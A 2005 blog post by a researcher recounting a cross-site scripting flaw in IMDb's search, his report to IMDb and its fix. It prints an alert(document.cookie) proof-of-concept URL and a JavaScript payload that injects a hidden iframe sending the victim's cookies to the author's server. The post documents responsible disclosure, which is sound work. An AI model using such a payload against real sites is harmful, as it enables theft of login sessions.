Last week I discovered a cross-site scripting vulnerability in IMDb’s website. It was a strong enough vulnerability that I could actively steal login sessions with it. Part of their Search system would pass the “to-be-displayed” location on the URL, and didn’t quote HTML entities. I was able to steal my own cookies and log in with my IMDb account from another computer. Last Wed, I reported it:
26 Oct 2005 10:29:59 PM
Hello!It seems your service is vulnerable to cross-site scripting (XSS). Since you
have login information stored as cookies, it’s possible for people to trick
others into exposing their logins. As an example, this displays your cookies to
you in your browser:http://imdb.com/List?locations=a&&heading=18;%3Cscript%3Ealert(document.cookie)%3C/script%3E
Please let me know if you have any questions. I love using IMDb, and thought
you might want to make yourselves more secure.
Thanks!
At 9am today, they had fixed it:
31 Oct 2005 09:01:17 AM
Thank you for your feedback about the Internet Movie Database.The IMDb is constantly being updated and improved, and we welcome all comments and suggestions aimed at improving its features, flexibility and ease of use.
We appreciate that you took the time to share your thoughts with us. It has now been fixed.
Thank you for your support!
—-
Regards,
[name]
The IMDb Help Desk
Another success for vulnerability reporting!
As for a concrete example, the “heading” argument to their search tool was being displayed. The harmless example I used above just pops an alert dialog. To actually pass the cookies off-site where it can be collected, I used an invisible IFRAME, and pulled a content-less document from my server. To do this, I wanted the following to appear on the IMDb page:
<iframe src=”http://outflux.net/null.html?cookie” width=”0″ height=”0″ frameborder=”0″</iframe>
There are a number of ways to take the browser off-site. Another are the HTTP methods that get used in a lot of AJAX applications. I haven’t dug into using that, even though they’re way more powerful (since you don’t need to “hide” the results of an IFRAME, etc, if you don’t listen for the HTTP results, they just never get used — it’s only the “side-effect” of recording the cookie off-site that’s wanted). Since this XSS vulnerability lets me write JavaScript directly to the browser, I needed to inject the following:
document.write(‘<iframe src=”http://outflux.net/null.html?’+document.cookie+'” width=”0″ height=”0″ frameborder=”0″</iframe>’)
And here it is, HTML-encoded, stuffed into the middle of the “header” argument to the search function, disguised as a search for filming locations in Vancouver, BC:
And if you click that, you can see their newly fixed entity-escaping. Again, kudos to IMDb! Additionally, it looks like they rearranged their search tool to not even use the “header” argument anymore. Neato.
© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 License.